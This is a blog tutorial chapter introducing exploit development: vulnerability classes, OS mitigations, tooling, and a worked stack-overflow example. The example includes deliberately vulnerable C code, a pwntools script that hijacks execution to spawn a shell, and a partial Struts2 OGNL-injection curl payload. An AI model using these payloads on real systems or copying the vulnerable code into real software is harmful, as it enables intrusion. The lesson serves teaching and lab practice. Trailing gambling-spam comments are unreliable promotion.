What is Exploit Development?

“Understanding the art of turning bugs into code execution”

🎯 Objective

To build a comprehensive understanding of what exploit development is, its goals, classifications, and how attackers leverage vulnerabilities to hijack program execution. This chapter covers vulnerability classes, real-world scenarios, memory manipulation techniques, and low-level primitives that form the core of exploitation.


1.1 What is an Exploit?

An exploit is a crafted input, payload, or sequence of interactions that takes advantage of a vulnerability in software to achieve unintended behavior, usually with malicious or unauthorized intent.

These behaviors may include:

  • Executing arbitrary code
  • Reading or writing sensitive memory
  • Causing a crash (Denial of Service)
  • Escalating privileges
  • Bypassing application logic

Example

// vulnerable.c
#include <stdio.h>

int main() {
    char buffer[100];
    gets(buffer); // vulnerable to buffer overflow
    printf("You entered: %s\n", buffer);
    return 0;
}

If buffer is overrun, the return address on the stack can be overwritten, causing the program to jump to attacker-controlled code.


1.2 Exploit vs Payload vs Shellcode

TermDescription
ExploitThe method of taking control (e.g., stack buffer overflow, use-after-free)
PayloadThe action performed once control is gained (e.g., spawn shell, reverse shell)
ShellcodeCompact machine code payload, usually to open a shell or call system functions

1.3 Exploitation Workflow

  1. Discovery – Identify the vulnerability
  2. Analysis – Reverse engineer the bug
  3. Trigger – Create the condition to exploit it
  4. Control – Gain instruction pointer (IP) control
  5. Payload Execution – Run arbitrary code or commands
  6. Post-Exploitation – Escalate privileges, persist, exfiltrate data

1.4 Exploitation Goals

GoalExplanation
Code ExecutionExecute arbitrary shellcode, malware, or system calls
Privilege EscalationElevate from user → admin/root/system
Information DisclosureLeak memory (e.g., ASLR bypass, passwords)
Denial of ServiceCrash system/service
PersistenceSurvive reboots, re-infections
EvasionAvoid AV, EDR, and logging tools

1.5 Exploit Types (By Technique)

Memory Corruption-Based

  • Stack Buffer Overflow
    Overwriting return address on the stack.
  • Heap Overflow
    Overwriting heap structures to gain arbitrary write or control flow.
  • Use-After-Free (UAF)
    Using memory after it has been freed; attacker reallocates it with malicious data.
  • Double Free
    Two free() calls on the same pointer can corrupt heap metadata.
  • Format String Bug
    Using uncontrolled format strings like printf(user_input) leads to arbitrary read/write.
  • Integer Overflow/Underflow
    Bypass size checks, leading to incorrect memory allocations.

Logical Vulnerabilities

  • Race Conditions
    Timing issues in multithreaded environments.
  • Improper Access Control
    Missing authentication or authorization checks.
  • Insecure Deserialization
    Arbitrary object creation from untrusted data.

1.6 Real Exploitation Example

Here’s a simple Linux example of stack-based control hijacking.

vulnerable.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void secret() {
    printf("PWNED! Code execution achieved!\n");
    system("/bin/sh");
}

void vulnerable() {
    char buffer[64];
    printf("Enter input: ");
    gets(buffer); // unsafe
}

int main() {
    vulnerable();
    return 0;
}

Compile with protections disabled:

gcc vulnerable.c -o vuln -fno-stack-protector -z execstack -no-pie

Exploitation Steps

  1. Overflow buffer and overwrite return address
  2. Redirect execution to secret()
  3. Shell spawned

You can use Pwntools to automate the attack:

from pwn import *

elf = ELF('./vuln')
p = process(elf.path)

payload = b'A' * 72  # Offset to return address
payload += p64(elf.symbols['secret'])

p.sendlineafter('Enter input: ', payload)
p.interactive()


1.7 Common Exploit Development Toolset

ToolPurposeLink
GDBDebugging on Linuxhttps://www.gnu.org/software/gdb/
PwndbgGDB plugin for exploit devhttps://github.com/pwndbg/pwndbg
PwntoolsPython framework for writing exploitshttps://github.com/Gallopsled/pwntools
x64dbgWindows GUI debuggerhttps://x64dbg.com/
Immunity DebuggerSEH exploit developmenthttps://www.immunityinc.com/products/debugger/
IDA Pro / GhidraReverse engineeringhttps://ghidra-sre.org/
ROPgadgetROP chain finderhttps://github.com/JonathanSalwan/ROPgadget
Mona.pyROP + exploit helper for Immunityhttps://github.com/corelan/mona
Radare2Binary analysis CLI toolhttps://rada.re/n/
msfvenomShellcode & payload generatorhttps://docs.metasploit.com/

1.8 Architectural Concepts

  • Registers
    • x86: eax, ebx, esp, ebp, eip
    • x64: rax, rbx, rsp, rbp, rip
  • Calling Conventions
    • cdecl (caller cleans up stack)
    • stdcall (callee cleans up stack)
    • fastcall, sysv, Windows x64 (RCX, RDX, R8, R9)
  • Endianness
    • Most systems are little-endian (e.g., 0xdeadbeef stored as ef be ad de)

1.9 Operating System Security Mechanisms

MitigationDescription
DEP / NXNon-executable stack/heap
ASLRRandomized memory layout
Stack CookiesCanary values to detect buffer overflows
SEHStructured Exception Handling (Windows)
SMEP / KASLRKernel memory protection

We will cover bypass techniques for these later in:

  • Return Oriented Programming (ROP)
  • ret2libc
  • Shellcode relocation
  • Heap grooming

1.10 Real-World Exploit Example (CVE)

CVE-2017-5638 – Apache Struts2 RCE

  • Vulnerability: Crafted Content-Type header triggers OGNL injection.
  • Exploit: curl -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)...}" \ http://target.com/struts2-showcase/upload.action

Another: CVE-2017-0144 – EternalBlue

  • MS SMBv1 vulnerability
  • Used in WannaCry ransomware
  • Kernel-level remote exploit on Windows XP to Windows 7

Exploit development is highly sensitive and legally restricted when performed outside ethical boundaries.

Use only in:

  • Lab environments
  • Capture the Flag (CTF) competitions
  • Bug bounty programs
  • With explicit authorization

Unauthorized access or exploitation is illegal and unethical.


✅ Summary

  • An exploit is not just a payload but the entire logic and sequence required to hijack control flow.
  • Memory corruption (e.g., buffer overflow, UAF) is a primary class of vulnerabilities.
  • The exploitation process involves discovery, analysis, payloading, and post-exploitation steps.
  • A good exploit developer is part developer, part reverse engineer, and part OS internals expert.
  • Modern defenses like DEP, ASLR, stack cookies require advanced techniques to bypass.

0 0 votes
Article Rating
guest
14 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments
nhà cái vn88 rezence

Alright, time to explore something different! This ‘nhà cái vn88 rezence’ seems to be something new for Vietnamese players. I’ll be checking it out at nhà cái vn88 rezence. Hope you find what you are looking for!

66bhp

Alright guys, 66bhp is where it’s at! Checking it out now. Hope I win big. Good luck to everyone! Check it out here 66bhp

luckyplaycasino

That’s a solid point about responsible gaming! It’s cool to see platforms like lucky play casino club focusing on things like secure accounts & quick deposits (GCash is a lifesaver!). Enjoying the fun, but staying smart is key. 😉

ggbbbet

Tried out ggbbbet the other day. Gotta say, I was pleasantly surprised! Decent variety and a smooth interface. Worth a shot! ggbbbet

78betlogin

Alright folks, 78betlogin is the place! Easy to navigate and pretty slick. I’m giving it a go to see if my luck turns around. Check it out and let me know what you think! You can find them here: 78betlogin.

bet333slot

Just hopped onto bet333slot for a quick spin or two. Good variety of slots and seems like they pay out decently. Worth a look if you’re feeling lucky. Here’s the link: bet333slot.

vnz66bet

Vnz66bet is my new go-to! They have a great selection of games and the customer service is top-notch. Give it a try! Start placing bets here: vnz66bet

abc8vin

ABC8vin has got some killer bonuses! I’ve been playing here for a bit and am impressed with the offers. Check it out and see what you can win! Start playing and winning here: abc8vin

j77casino

J77casino is my go-to. I had some good luck on their live dealer games this week. Sign up and get those wins! Spin the reels here: j77casino

6cc6

Interesting points on bankroll management! Seeing platforms like cc6 download apk prioritize verification builds trust – crucial for responsible gaming & faster withdrawals, right? Good read!

phlwinapp

Diving deep into baccarat strategy, I love how Phlwin App delivers seamless mobile gameplay for serious players. The secure environment and fast payments make Phlwin App online casino a top choice in the region.

lode3mien

Trying my luck with lode3mien on 8livesoy.com! Fingers crossed for a big win! Anyone else playing? Check it out for yourselves: lode3mien

88clb8gq com

Heard 88clb8gq com is the place to be for baccarat. Giving it a try on baccarat88clb.com. Wish me luck! Here’s the link for those who want to join: 88clb8gq com

bj888login

Easy login process over at bj888login.com! Fast and straightforward to jump right in! Check it out folks: bj888login